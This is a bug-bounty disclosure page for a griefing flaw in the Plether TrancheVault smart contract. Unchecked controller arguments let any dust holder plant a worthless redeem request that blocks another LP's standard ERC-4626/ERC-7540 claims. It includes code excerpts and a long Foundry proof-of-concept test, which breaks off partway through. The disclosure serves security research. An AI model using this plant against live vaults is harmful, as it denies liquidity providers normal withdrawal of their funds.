Skip to content
Business logic Audit finding Advanced

Any share holder can plant a worthless dust redeem request at the head of another LP's queue, blocking standard ERC-7540/ERC-4626 claims

The redeem-request function authorises only the owner side while leaving the controller argument unconstrained, so any share holder can enqueue a redeem request into an arbitrary LP's queue. A dust-sized plant becomes the victim's queue head and settles as a zero-payout refund, causing standard ERC-4626/ERC-7540 redeem, withdraw and maxRedeem/maxWithdraw calls to revert or report zero until the victim processes it.

Another Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#99701 [SC-Low] Any share holder can plant a worthless dust redeem request at the head of another LP's queue, blocking standard ERC-7540/ERC-4626 claims

Submitted on Nov 14th 2026 at 20:50:06 UTC by @Another for Audit Competition | Plether

Description

Brief/Intro

requestRedeem(shares, controller, owner) authorizes only the owner side; controller is unconstrained, so any dust holder can enqueue a redeem request into an arbitrary LP's FIFO, becoming the queue head. A dust plant settles as a zero-payout refund epoch: redeem()/withdraw() and maxRedeem()/maxWithdraw() see only the worthless head and revert or report 0 until the victim cancels or acknowledges the refund (1h cooldown)

Vulnerability Details

  1. The plant path: owner-side-only authorization with an arbitrary controller. TrancheVault.requestRedeem (packages/perps/src/TrancheVault.sol:607-633) checks the zero address, a positive amount, the owner's deposit cooldown, maxRequestRedeem(owner) and the minimum size, then authorizes msg.sender as owner (or operator/ERC-20 allowance). Nothing constrains controller:
Solidity
function requestRedeem(
    uint256 shares,
    address controller,
    address owner
) external returns (uint256 requestId) {
    ...
    if (block.timestamp < lastDepositTime[owner] + DEPOSIT_COOLDOWN) {
        revert TrancheVault__DepositCooldown();
    }
    uint256 maxShares = maxRequestRedeem(owner);
    if (shares > maxShares) { revert TrancheVault__ExceededMaxRequestRedeem(owner, shares, maxShares); }
    _requireMinimumRedeemSize(shares, maxShares);
    if (msg.sender != owner && !isOperator[owner][msg.sender]) {
        _spendAllowance(owner, msg.sender, shares);
    }
    _transfer(owner, address(this), shares);

    requestId = _enqueueRedeemRequest(shares, controller);   // <-- victim's queue
    emit RedeemRequest(controller, owner, requestId, msg.sender, shares);
}

_enqueueRedeemRequest (TrancheVault.sol:689-709) credits the position to redeemRequests[controller][requestId] and _appendControllerRedeem(controller, requestId) (TrancheVault.sol:1784-1798) inserts it into that controller's FIFO, becoming controllerRedeemHead[controller] whenever the victim's redeem queue is empty:

Solidity
function _appendControllerRedeem(address controller, uint256 requestId) internal {
    RedeemPosition storage position = redeemRequests[controller][requestId];
    position.queued = true;
    uint256 tail = controllerRedeemTail[controller];
    if (tail == 0) {
        controllerRedeemHead[controller] = requestId;        // <-- plant lands at the FRONT
    } else { ... }
    controllerRedeemTail[controller] = requestId;
}

The escrowed shares are credited to the victim's position; every refund, cancellation or funding payout of that request belongs to the victim (controller), never back to the attacker (owner). The plant is therefore a deliberate sacrifice of the escrowed dust.

  1. Dust sizing is permitted by the full-balance dust-exit rule. _requireMinimumRedeemSize (TrancheVault.sol:1612-1619) only rejects amounts whose estimated value is below POOL.minTrancheDepositAssets() (1 USDG, HousePool.sol:1433-1435) when shares < maxShares:
Solidity
function _requireMinimumRedeemSize(uint256 shares, uint256 maxShares) internal view {
    if (estimateRedeemAssets(shares) < POOL.minTrancheDepositAssets() && shares < maxShares) {
        revert TrancheVault__WithdrawalTooSmall();
    }
}

An attacker whose entire unlocked balance is dust (e.g. 500 share wei received by ordinary transfer, ~0.0000005 USDG at the release 1:1000 asset:share pricing) passes because shares == maxShares. The attacker only needs the owner-side cooldown to have elapsed; an inherited, aged lastDepositTime from the dust source satisfies it (_update, TrancheVault.sol:315-335).

  1. Epoch timing makes the front placement reliable. Requests target epoch e+1 before the last-5-minute cutoff and e+2 at/after it (_requestEpochWindow, TrancheVault.sol:546-557; LP_REQUEST_CUTOFF_DURATION = 5 minutes). Planting any time before the cutoff of hour H (or in any earlier hour while the victim's queue is empty) places the dust request in epoch H+1; any victim request submitted after that cutoff or in a later hour is appended behind it in the victim's FIFO. Same-epoch requests merely merge into one position, so the attacker picks the earlier window (in the PoC: plant at :20, victim request at :57).

  2. The planted dust epoch settles as a terminal zero-payout refund. HousePool._fundRedemptionPhase (packages/perps/src/HousePool.sol:945-1029) quotes each matured head epoch with netAssetsForShares(remainingShares, principal, supply, 1, 1000, feeBps) = floor(shares * (principal+1) / (supply+1000)) (HousePoolRedemptionMathLib.sol:33-51). For a dust-only epoch this floors to zero and the zero-payout branch refunds the whole epoch:

Solidity
uint256 fullHeadAssets = REDEMPTION_MATH_SIDECAR.netAssetsForShares(
    remainingShares, phase.pricingPrincipal, phase.pricingSupply, 1, 1000, feeBps
);
if (fullHeadAssets == 0) {
    if (phase.fundedShares != 0) { break; }
    ...
    vault.refundRedeemEpochRemainder(epochId, remainingShares);   // epoch.refundEnabled = true
    ...
}

refundRedeemEpochRemainder (TrancheVault.sol:1506-1525) marks the epoch refundEnabled and removes it from the global queue, but the controller-level position stays queued: after settlement the victim's head request has pendingRedeemRequest == 0, claimableRedeemRequest == 0, claimableRedeemAssets == 0 and redeemRefundPending == true (TrancheVault.sol:756-821) - permanently worthless until acknowledged, because pendingRedeemRequest returns 0 for refund-enabled epochs and cancellation is unavailable once matured (cancelRedeemRequest gate, TrancheVault.sol:895-898: currentLpEpoch() >= requestId || ... -> TrancheVault__RedeemCancellationUnavailable).

  1. Every standard claim surface is gated on that head. The ERC-4626/ERC-7540 entry points route to controllerRedeemHead[controller] (TrancheVault.sol:999-1013), as do the claim-capacity views (TrancheVault.sol:1300-1312):
Solidity
function withdraw(uint256 assets, address receiver, address controller) public override returns (uint256) {
    return _claimWithdraw(controllerRedeemHead[controller], assets, receiver, controller);
}
function redeem(uint256 shares, address receiver, address controller) public override returns (uint256) {
    return _claimRedeem(controllerRedeemHead[controller], shares, receiver, controller);
}
...
function maxRedeem(address controller) public view override returns (uint256) {
    uint256 requestId = controllerRedeemHead[controller];
    return requestId == 0 ? 0 : claimableRedeemRequest(requestId, controller);
}

With a worthless head, _claimRedeem reverts ERC4626ExceededMaxRedeem and _claimWithdraw reverts ERC4626ExceededMaxWithdraw (TrancheVault.sol:1149-1194). maxRedeem(victim)/maxWithdraw(victim) report 0. A head advance requires the position to be terminal, funding-claimed and refund-processed (_maybeCloseRedeemPosition, TrancheVault.sol:1217-1228), so the victim must first consume the plant. The deposit-side surface (deposit/mint, TrancheVault.sol:954-997) has the same head-gating on controllerDepositHead, and requestDeposit(assets, victimController, attackerOwner) plants there analogously (at a >= 1 USDG cost).

  1. Escape hatches exist but all tax the victim. The explicit-id extension claimRedeem(requestId, shares, receiver, controller) (TrancheVault.sol:1015-1022) ignores the head and keeps paying the victim's later funded requests - exactly as documented in IAsyncTrancheVault (packages/perps/src/interfaces/IAsyncTrancheVault.sol:10-20): "Standard ERC-7540 claims consume the controller's oldest outstanding request. A rejected deposit or refundable redeem head must be cancelled or reclaimed before standard claims advance to a later request; explicit-id claim methods preserve deterministic epoch selection for integrations." Clearing the head requires either a pre-maturity cancelRedeemRequest (TrancheVault.sol:878-915, available only before the epoch matures) or a post-settlement claimRedeemRefund acknowledgement (TrancheVault.sol:917-948) - and both stamp lastDepositTime[receiver] = block.timestamp, i.e. a fresh 1-hour cooldown that blocks the victim's next requestRedeem and any share transfer:
Solidity
// cancelRedeemRequest
lastDepositTime[receiver] = block.timestamp;      // TrancheVault.sol:912
// claimRedeemRefund
if (shares != 0) {
    lastDepositTime[receiver] = block.timestamp;  // TrancheVault.sol:943-945
    _transfer(address(this), receiver, shares);
}

The same mechanics apply to the Senior vault (identical TrancheVault code).

Impact Details

Category: griefing / temporary denial of the standard redemption claim surface, with a 1-hour exit-cooldown stamp on every recovery path. No theft, no permanent loss, no protocol-side lock.

Preconditions: (a) the attacker holds any unlocked tranche shares, however small (transfer dust suffices; forfeited to the victim on refund/cancel); (b) the victim's redeem queue is empty at plant time (any LP not yet requesting an exit); (c) the plant lands in an earlier epoch than the victim's next request (plant before the hourly 5-minute cutoff; PoC: 37-minute lead, no front-running).

Impact per victim: while the worthless head sits at controllerRedeemHead, redeem()/withdraw() revert ERC4626ExceededMaxRedeem/MaxWithdraw and maxRedeem()/maxWithdraw() report 0. ERC-7540 defines no per-request claim, so standard-surface-only integrations cannot move funded proceeds until the victim (or its operator) processes the plant, and head-based views show zero claimable. Post-maturity cancellation is unavailable; the only standard-surface recovery is the refund acknowledgement - an extra transaction stamping a fresh 1h lastDepositTime that blocks the victim's next requestRedeem/transfer for an hour. New requests are never blocked beforehand and explicit-id claims work throughout, so the delay is bounded by the victim's own action; no principal-loss path exists (the planted shares and funding belong to the victim).

References

  • packages/perps/src/TrancheVault.sol:607-633 - requestRedeem: owner-side-only authorization; arbitrary controller; _enqueueRedeemRequest(shares, controller).
  • packages/perps/src/TrancheVault.sol:689-709 - _enqueueRedeemRequest credits redeemRequests[controller][requestId] and appends to the controller FIFO.
  • packages/perps/src/TrancheVault.sol:1784-1823 - _appendControllerRedeem/_removeControllerRedeem: controllerRedeemHead set when the victim's queue is empty; :131 the mapping.
  • packages/perps/src/TrancheVault.sol:1612-1619 - _requireMinimumRedeemSize: full-balance (shares == maxShares) bypass of the 1 USDG minimum; :1329-1336 maxRequestRedeem = unlocked owner balance; :1631-1638 _unlockedOwnerShares.
  • packages/perps/src/TrancheVault.sol:315-335 - _update: transfer cooldown and lastDepositTime[to] inheritance (dust sourcing); :39 DEPOSIT_COOLDOWN = 1 hour.
  • packages/perps/src/TrancheVault.sol:546-557 - _requestEpochWindow: 5-minute cutoff that separates plant epoch from the victim's request epoch.
  • packages/perps/src/HousePool.sol:945-1029 - _fundRedemptionPhase: zero-quote head epochs are refunded via refundRedeemEpochRemainder; packages/perps/src/libraries/HousePoolRedemptionMathLib.sol:33-51 - netAssetsForShares floor.
  • packages/perps/src/TrancheVault.sol:1506-1525 - refundRedeemEpochRemainder: refundEnabled terminal epoch.
  • packages/perps/src/TrancheVault.sol:756-821 - pendingRedeemRequest/claimableRedeemRequest/claimableRedeemAssets/refundableRedeemRequest/redeemRefundPending: the worthless head reports all-zero claimable state.
  • packages/perps/src/TrancheVault.sol:999-1013, 954-997 - redeem/withdraw/deposit/mint route to controllerRedeemHead/controllerDepositHead; :1300-1312 - maxWithdraw/maxRedeem head-based views.
  • packages/perps/src/TrancheVault.sol:1149-1194 - _claimRedeem/_claimWithdraw revert ERC4626ExceededMaxRedeem/MaxWithdraw against the zero-claimable head.
  • packages/perps/src/TrancheVault.sol:878-915 - cancelRedeemRequest: only pre-maturity (:895-898), stamps cooldown (:912).
  • packages/perps/src/TrancheVault.sol:917-948 - claimRedeemRefund: refund acknowledgement; stamps cooldown (:943-945).
  • packages/perps/src/TrancheVault.sol:1217-1228 - _maybeCloseRedeemPosition: head advance requires terminal + fundingClaimed + refundProcessed.
  • packages/perps/src/TrancheVault.sol:1015-1022 - claimRedeem by request id (documented escape); packages/perps/src/interfaces/IAsyncTrancheVault.sol:10-20 - documented head-consumption and explicit-id rules.
  • packages/perps/src/HousePool.sol:1433-1435 - minTrancheDepositAssets = 1 USDG (dust-plant sizing context).

Proof of Concept

Proof of Concept

create and run the below test file

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {Test} from "forge-std/Test.sol";
import {MockUSDG} from "./mocks/MockUSDG.sol";
import {MockPyth} from "./mocks/MockPyth.sol";

import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdEngineAdmin} from "@plether/perps/CfdEngineAdmin.sol";
import {CfdEnginePlanner} from "@plether/perps/CfdEnginePlanner.sol";
import {CfdEngineSettlementSidecar} from "@plether/perps/CfdEngineSettlementSidecar.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {TerminalNavBookV2} from "@plether/perps/TerminalNavBookV2.sol";
import {HousePool} from "@plether/perps/HousePool.sol";
import {HousePoolRedemptionMathSidecar} from "@plether/perps/HousePoolRedemptionMathSidecar.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {MarginClearinghouse} from "@plether/perps/MarginClearinghouse.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {CfdOrderPolicyEvaluator} from "@plether/perps/CfdOrderPolicyEvaluator.sol";
import {OrderLifecycleBook} from "@plether/perps/OrderLifecycleBook.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderRouterLiquidationBatchSidecar} from "@plether/perps/OrderRouterLiquidationBatchSidecar.sol";
import {OrderRouterExecutionSidecar} from "@plether/perps/OrderRouterExecutionSidecar.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @title Third-party redeem-request planting at the head of another LP's queue
/// @notice TrancheVault.requestRedeem(shares, controller, owner) authorizes only the
///         OWNER side (msg.sender == owner, operator, or ERC-20 allowance) while the
///         CONTROLLER argument is unconstrained. Any holder of unlocked vault shares
///         can therefore enqueue a redeem request into an arbitrary LP's controller
///         queue. When the victim's redeem queue is empty, the planted request
///         becomes controllerRedeemHead[victim]; the victim's own later request is
///         appended behind it. A dust-sized plant (allowed as a "full balance"
///         redemption even below the 1 USDG request minimum) is worthless: it
///         settles as a zero-payout refund epoch, and the terminal, refund-pending
///         head then gates every standard claim surface (ERC-4626 redeem/withdraw
///         and maxRedeem/maxWithdraw) until the victim processes it. The explicit-id
///         extension claimRedeem(requestId, ...) keeps working throughout, exactly
///         as documented in IAsyncTrancheVault.
contract PlantTest is Test {
    // ------------------------------------------------------------------
    // Release parameters (identical stack to the prior PoCs)
    // ------------------------------------------------------------------
    uint256 internal constant CAP_PRICE = 2e8;
    uint256 internal constant VPI_FACTOR = 0.01e18;
    uint256 internal constant MAX_SKEW_RATIO = 0.4e18;
    uint256 internal constant MAINT_MARGIN_BPS = 10;
    uint256 internal constant INIT_MARGIN_BPS = 20;
    uint256 internal constant FAD_MARGIN_BPS = 300;
    uint256 internal constant BASE_CARRY_BPS = 500;
    uint256 internal constant MIN_BOUNTY_ASSETS = 1e6;
    uint256 internal constant BOUNTY_BPS = 10;
    uint256 internal constant KEEPER_SHARE_BPS = 5_000;
    uint256 internal constant PROTOCOL_SHARE_BPS = 0;
    uint256 internal constant FROZEN_CLOSE_SPREAD_BPS = 50;

    // Anchor: Sunday, 19 Nov 2023 23:00:00 UTC. The 72h pool-config timelock
    // matures Wednesday 23:01 UTC; scenario epochs run Thursday (no frozen window).
    uint256 internal constant BASE = 1_700_352_000 + 23 hours;

    uint256 internal constant BIGJUNIOR_DEPOSIT = 2_100_000e6; // background junior LP ($2.1M)
    uint256 internal constant VICTIM_DEPOSIT = 500_000e6; // affected junior LP ($500k)
    // Dust plant: 500 share wei. With the release 1:1000 asset:share pricing the
    // epoch quote floor(500*(P+1)/(S+1000)) is zero, so the epoch takes the
    // zero-payout refund branch at settlement. 500 wei of shares is ~0.0000005 USDG.
    uint256 internal constant PLANT_SHARES = 500;

    struct Stack {
        MockUSDG token;
        MockPyth pyth;
        MarginClearinghouse clearinghouse;
        CfdEngine engine;
        HousePool pool;
        TrancheVault seniorVault;
        TrancheVault juniorVault;
        PletherOracle oracle;
        CfdEngineLens engineLens;
        OrderRouter router;
        OrderLifecycleBook lifecycleBook;
        HousePoolRedemptionMathSidecar redMath;
    }

    address internal bigJunior = makeAddr("bigJunior");
    address internal victim = makeAddr("victim"); // main affected LP (controller)
    address internal victim2 = makeAddr("victim2"); // second affected LP (early-cancel demo)
    address internal attacker = makeAddr("attacker"); // share-holding planter (owner)
    address internal attacker2 = makeAddr("attacker2"); // second planter (early-cancel demo)
    address internal owner = makeAddr("owner");
    address internal deployer = makeAddr("deployer");
    address internal seedReceiver = makeAddr("seedReceiver");

    bytes[] internal pythData;

    function setUp() public {
        pythData.push(bytes("pyth-payload"));
    }

    // ------------------------------------------------------------------
    // Deployment (identical wiring to the release stack)
    // ------------------------------------------------------------------

    function _computeCreateAddress(address acct, uint256 nonce) internal pure returns (address) {
        return address(
            uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), acct, bytes1(uint8(nonce))))))
        );
    }

    function _deployStack() internal returns (Stack memory s) {
        vm.startPrank(owner);
        s.pyth = new MockPyth();
        s.token = new MockUSDG();
        s.clearinghouse = new MarginClearinghouse(address(s.token));
        s.engine = new CfdEngine(
            address(s.token),
            address(s.clearinghouse),
            CAP_PRICE,
            CfdTypes.RiskParams({
                vpiFactor: VPI_FACTOR,
                maxSkewRatio: MAX_SKEW_RATIO,
                maintMarginBps: MAINT_MARGIN_BPS,
                initMarginBps: INIT_MARGIN_BPS,
                fadMarginBps: FAD_MARGIN_BPS,
                baseCarryBps: BASE_CARRY_BPS,
                minBountyAssets: MIN_BOUNTY_ASSETS,
                bountyBps: BOUNTY_BPS,
                keeperShareBps: KEEPER_SHARE_BPS,
                protocolShareBps: PROTOCOL_SHARE_BPS
            }),
            FROZEN_CLOSE_SPREAD_BPS
        );
        vm.stopPrank();

        vm.startPrank(owner);
        TerminalNavBookV2 navBook = new TerminalNavBookV2(address(s.engine), uint32(CAP_PRICE));
        s.engine.setTerminalNavBook(address(navBook));

        CfdEnginePlanner planner = new CfdEnginePlanner();
        CfdEngineSettlementSidecar sidecar = new CfdEngineSettlementSidecar(address(s.engine));
        CfdEngineAdmin engineAdmin = new CfdEngineAdmin(address(s.engine), owner);
        s.engine.setDependencies(address(planner), address(sidecar), address(engineAdmin));

        s.redMath = new HousePoolRedemptionMathSidecar();
        s.pool = new HousePool(address(s.token), address(s.engine), address(s.redMath));
        s.engine.setPool(address(s.pool));

        s.seniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), true, "Plether Senior", "PT-SR", 0, address(0));
        s.pool.setSeniorVault(address(s.seniorVault));

        address treasury = s.engine.protocolTreasury();
        s.juniorVault =
            new TrancheVault(IERC20(address(s.token)), address(s.pool), false, "Plether Junior", "PT-JR", 0, treasury);
        s.pool.setJuniorVault(address(s.juniorVault));

        s.clearinghouse.setEngine(address(s.engine));
        s.engineLens = new CfdEngineLens(address(s.engine));

        bytes32[] memory feedIds = new bytes32[](1);
        feedIds[0] = bytes32(uint256(0x455552555344)); // "EURUSD"
        uint256[] memory quantities = new uint256[](1);
        quantities[0] = 1e18;
        uint256[] memory basePrices = new uint256[](1);
        basePrices[0] = 110_000_000; // 1.10 USD -> basket mark 1.00 (8 decimals)
        bool[] memory inversions = new bool[](1);
        inversions[0] = false;
        s.oracle =
            new PletherOracle(address(s.engine), address(s.pool), address(s.pyth), feedIds, quantities, basePrices, inversions);

        CfdOrderPolicyEvaluator evaluator = new CfdOrderPolicyEvaluator();
        OrderRouterExecutionSidecar executionSidecar = new OrderRouterExecutionSidecar();
        vm.stopPrank();

        vm.startPrank(deployer);
        uint64 nonceBefore = vm.getNonce(deployer);
        address predictedRouter = _computeCreateAddress(deployer, nonceBefore + 2);
        OrderLifecycleBook book =
            new OrderLifecycleBook(predictedRouter, address(s.engine), address(s.clearinghouse), address(s.pool));
        OrderRouterLiquidationBatchSidecar keeperSidecar = new OrderRouterLiquidationBatchSidecar(predictedRouter);
        s.lifecycleBook = book;
        s.router = new OrderRouter(
            address(s.engine),
            address(s.engineLens),
            address(s.pool),
            address(s.oracle),
            address(keeperSidecar),
            address(evaluator),
            address(executionSidecar),
            address(book)
        );
        assertEq(address(s.router), predictedRouter, "router address prediction");
        vm.stopPrank();

        vm.prank(owner);
        s.engine.setOrderRouter(address(s.router));

        vm.deal(address(this), 1 ether);
        s.router.updateMarkPrice{value: 1 wei}(pythData);
    }

    function _redeemEpoch(TrancheVault vault, uint256 epochId)
        internal
        view
        returns (uint256 epochShares, uint256 fundedShares, uint256 fundedAssets, bool refundEnabled)
    {
        (epochShares, fundedShares, fundedAssets,,,,,,, refundEnabled) = vault.redeemEpochs(epochId);
    }

    // ------------------------------------------------------------------
    // PoC
    // ------------------------------------------------------------------

    function test_PoC_PlantWorthlessRedeemRequestAtFrontOfVictimQueue() public {
        vm.warp(BASE);
        Stack memory s = _deployStack();

        // Pool config: zero senior coupon rate, 50% senior share cap.
        vm.startPrank(owner);
        s.pool.proposePoolConfig(
            IHousePool.PoolConfig({
                seniorRateBps: 0,
                markStalenessLimit: 60,
                seniorFrozenLpFeeBps: 25,
                juniorFrozenLpFeeBps: 75,
                maxSeniorExposureAssets: 1e30,
                maxSeniorShareBps: 5_000
            })
        );
        vm.stopPrank();

        vm.warp(BASE + 72 hours + 60); // Wednesday 23:01 UTC
        vm.deal(address(this), 1 ether);
        s.router.updateMarkPrice{value: 1 wei}(pythData);
        vm.prank(owner);
        s.pool.finalizePoolConfig();

        // Seeds and trading activation.
        vm.startPrank(owner);
        s.token.mint(owner, 2e6);
        s.token.approve(address(s.pool), 2e6);
        s.pool.initializeSeedPosition(false, 1e6, seedReceiver); // junior seed first
        s.pool.initializeSeedPosition(true, 1e6, seedReceiver);
        s.pool.activateTrading();
        vm.stopPrank();

        // Fund participants.
        s.token.mint(bigJunior, BIGJUNIOR_DEPOSIT);
        s.token.mint(victim, VICTIM_DEPOSIT);

        // Wednesday 23:03 UTC: junior deposit requests -> epoch Thu 00:00.
        vm.startPrank(bigJunior);
        s.token.approve(address(s.juniorVault), BIGJUNIOR_DEPOSIT);
        uint256 depositEpoch = s.juniorVault.requestDeposit(BIGJUNIOR_DEPOSIT, bigJunior, bigJunior);
        vm.stopPrank();
        vm.startPrank(victim);
        s.token.approve(address(s.juniorVault), VICTIM_DEPOSIT);
        s.juniorVault.requestDeposit(VICTIM_DEPOSIT, victim, victim);
        vm.stopPrank();

        // Thursday 00:05 UTC: settlement #0 activates the deposits; both LPs claim
        // (this stamps lastDepositTime = activation time on both wallets).
        vm.warp(BASE + 73 hours + 300);
        s.pool.settleLpEpoch(0, 0);

        vm.prank(bigJunior);
        s.juniorVault.claimDeposit(depositEpoch, BIGJUNIOR_DEPOSIT, bigJunior, bigJunior);
        vm.prank(victim);
        s.juniorVault.claimDeposit(depositEpoch, VICTIM_DEPOSIT, victim, victim);

        uint256 victimShares = s.juniorVault.balanceOf(victim);
        assertGt(victimShares, 0, "victim holds shares");
        emit log_named_uint("victim junior shares", victimShares);
        assertEq(s.juniorVault.controllerRedeemHead(victim), 0, "victim redeem queue starts empty");

        // ------------------------------------------------------------------
        // Thursday 01:10 UTC: the attackers acquire share dust. Any LP past its
        // transfer cooldown can seed them; 500 share wei is far below the 1 USDG
        // request minimum. The transfers inherit an aged cooldown.
        // ------------------------------------------------------------------
        vm.warp(BASE + 74 hours + 600);
        vm.prank(bigJunior);
        s.juniorVault.transfer(attacker, PLANT_SHARES);
        vm.prank(bigJunior);
        s.juniorVault.transfer(attacker2, PLANT_SHARES);
        assertEq(s.juniorVault.balanceOf(attacker), PLANT_SHARES, "attacker holds dust");
        assertEq(s.juniorVault.maxRequestRedeem(attacker), PLANT_SHARES, "dust is the attacker's full balance");

        // ------------------------------------------------------------------
        // Thursday 01:20 UTC: THE PLANT. The attacker (owner) submits a redeem
        // request with the VICTIM as controller. Owner-side authorization is the
        // only check; the dust amount is admitted because it equals the attacker's
        // full unlocked balance (dust-exit rule bypasses the 1 USDG minimum).
        // The request targets epoch Thu 02:00.
        // ------------------------------------------------------------------
        vm.warp(BASE + 74 hours + 1_200);
        vm.prank(attacker);
        uint256 plantEpoch = s.juniorVault.requestRedeem(PLANT_SHARES, victim, attacker);
        // Same-epoch plant into a second victim for the early-cancel demo.
        vm.prank(attacker2);
        uint256 plantEpoch2 = s.juniorVault.requestRedeem(PLANT_SHARES, victim2, attacker2);

        emit log_named_uint("planted epoch (victim)", plantEpoch);
        assertEq(plantEpoch, plantEpoch2, "same-hour plants target the same epoch");
        assertEq(s.juniorVault.controllerRedeemHead(victim), plantEpoch, "PLANT IS AT THE FRONT of victim's queue");
        assertEq(s.juniorVault.controllerRedeemHead(victim2), plantEpoch2, "plant at the front of victim2's queue");
        assertEq(s.juniorVault.balanceOf(attacker), 0, "attacker forfeited the dust into escrow");

        // The planted epoch's settlement quote is exactly zero (zero-payout branch).
        uint256 quote = s.redMath.netAssetsForShares(
            PLANT_SHARES, s.pool.juniorPrincipal(), s.juniorVault.totalSupply(), 1, 1000, 0
        );
        assertEq(quote, 0, "dust epoch quotes zero assets");

        // ------------------------------------------------------------------
        // Thursday 01:30 UTC: early-escape demo (victim2). Before the planted
        // epoch matures, the controller may cancel it -- and keeps the attacker's
        // dust. The cancellation still stamps a fresh 1h cooldown on victim2.
        // ------------------------------------------------------------------
        vm.warp(BASE + 74 hours + 1_800);
        vm.prank(victim2);
        uint256 cancelledShares = s.juniorVault.cancelRedeemRequest(plantEpoch2, victim2, victim2);
        assertEq(cancelledShares, PLANT_SHARES, "victim2 cancelled the plant and kept the dust");
        assertEq(s.juniorVault.controllerRedeemHead(victim2), 0, "victim2 queue cleared");
        assertEq(s.juniorVault.lastDepositTime(victim2), block.timestamp, "cancel stamped victim2 cooldown");
        emit log_string("victim2 early-cancel escape worked (kept the dust, but got a fresh 1h cooldown)");

        // ------------------------------------------------------------------
        // Thursday 01:57 

The original report as published on Immunefi, by Another. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the requestRedeem function authorises only the owner side and never constrains the controller argument, allowing requests to be enqueued into any controller's FIFO.

Impact

Standard redemption claims revert or report zero and recovery stamps a fresh one-hour cooldown, though explicit-id claims keep working and no principal is lost.

What the attacker needed

Attacker holds any unlocked tranche shares; victim's redeem queue is empty at plant time; plant lands in an earlier epoch than victim's request

The fix

The controller argument should be constrained to the owner (or an authorised operator) so requests cannot be enqueued into another account's queue.

How it was found

  1. Attacker holds a dust amount of unlocked tranche shares whose deposit cooldown has elapsed.
  2. Before the hourly cutoff, attacker calls requestRedeem with the victim as controller and their own dust shares as owner, planting a request at the head of the victim's empty queue.
  3. Victim submits their own redeem request after the cutoff or in a later hour, so it is appended behind the plant.
  4. The dust epoch settles as a zero-payout refund, leaving a worthless refund-pending head.
  5. Victim's standard redeem/withdraw revert and maxRedeem/maxWithdraw report zero until the refund is acknowledged.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault lets people queue up to take their money out, and each person's requests are handled oldest-first. The function that adds a request only checks who owns the shares, not whose queue the request is placed in, so someone can drop a tiny worthless request into another person's queue ahead of their real one. Because the standard withdrawal functions only look at the oldest request, the victim's normal withdrawals fail until they clear the junk request.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Another

View all

24 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.